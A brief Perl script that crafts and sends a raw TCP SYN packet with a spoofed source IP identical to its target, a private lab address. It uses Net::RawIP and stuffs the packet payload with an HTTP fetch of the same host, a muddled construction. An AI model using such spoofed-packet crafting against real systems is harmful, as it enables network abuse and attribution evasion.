use warnings; use strict; use Net::RawIP; use WWW::Mechanize; my $source = '10.10.0.253'; my $target = '10.10.0.253'; my $url = 'http://10.10.0.253'; sub browser { my $mech = WWW::Mechanize->new(); $mech->get($url); } my $packet = Net::RawIP->new; $packet->set({ ip => { saddr => $source, daddr => $target, }, tcp => { source => 8311, dest => 80, psh => 0, syn => 1, data => browser, }, }); $packet->send;